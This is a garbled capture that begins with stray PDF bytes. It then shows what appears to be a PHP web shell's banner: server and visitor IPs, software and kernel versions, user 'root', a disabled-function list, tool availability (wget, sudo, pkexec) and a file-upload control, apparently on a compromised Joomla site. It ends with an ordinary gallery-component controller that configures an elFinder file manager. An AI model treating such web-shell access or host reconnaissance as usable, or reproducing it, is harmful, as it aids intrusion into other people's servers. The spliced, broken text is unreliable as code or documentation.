%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/old/administrator/components/com_sigpro/controllers/ |
Upload File : |
<?php /** * @version $Id: media.php 3159 2013-06-03 16:33:48Z lefteris.kavadas $ * @package Simple Image Gallery Pro * @author JoomlaWorks - http://www.joomlaworks.net * @copyright Copyright (c) 2006 - 2013 JoomlaWorks Ltd. All rights reserved. * @license http://www.joomlaworks.net/license */ // no direct access defined('_JEXEC') or die ; class SigProControllerMedia extends SigProController { public function connector() { $mainframe = JFactory::getApplication(); $user = JFactory::getUser(); $path = SigProHelper::getPath('site'); $url = SigProHelper::getHTTPPath($path); JPath::check($path); include_once JPATH_COMPONENT_ADMINISTRATOR.'/js/elfinder/php/elFinderConnector.class.php'; include_once JPATH_COMPONENT_ADMINISTRATOR.'/js/elfinder/php/elFinder.class.php'; include_once JPATH_COMPONENT_ADMINISTRATOR.'/js/elfinder/php/elFinderVolumeDriver.class.php'; include_once JPATH_COMPONENT_ADMINISTRATOR.'/js/elfinder/php/elFinderVolumeLocalFileSystem.class.php'; function access($attr, $path, $data, $volume) { $mainframe = JFactory::getApplication(); $user = JFactory::getUser(); // Hide files and folders starting with . if (strpos(basename($path), '.') === 0 && $attr == 'hidden') { return true; } // Read only access for front-end. Full access for administration section. switch($attr) { case 'read' : return true; break; case 'write' : if ($mainframe->isSite()) { return false; } else { return version_compare(JVERSION, '1.6.0', 'ge') ? ($user->authorise('core.create', 'com_sigpro') && $user->authorise('core.edit', 'com_sigpro') && $user->authorise('core.delete', 'com_sigpro')) : true; } break; case 'locked' : if ($mainframe->isSite()) { return true; } else { return version_compare(JVERSION, '1.6.0', 'ge') ? !($user->authorise('core.create', 'com_sigpro') && $user->authorise('core.edit', 'com_sigpro') && $user->authorise('core.delete', 'com_sigpro')) : false; } break; case 'hidden' : return false; break; } } if ($mainframe->isAdmin()) { if (version_compare(JVERSION, '1.6.0', 'ge')) { $write = ($user->authorise('core.create', 'com_sigpro') && $user->authorise('core.edit', 'com_sigpro') && $user->authorise('core.delete', 'com_sigpro')); } else { $write = true; } $permissions = array('read' => true, 'write' => $write); } else { $permissions = array('read' => true, 'write' => false); } $options = array('roots' => array( array('driver' => 'LocalFileSystem', 'path' => $path, 'URL' => $url, 'accessControl' => 'access', 'defaults' => $permissions))); $connector = new elFinderConnector(new elFinder($options)); $connector->run(); } }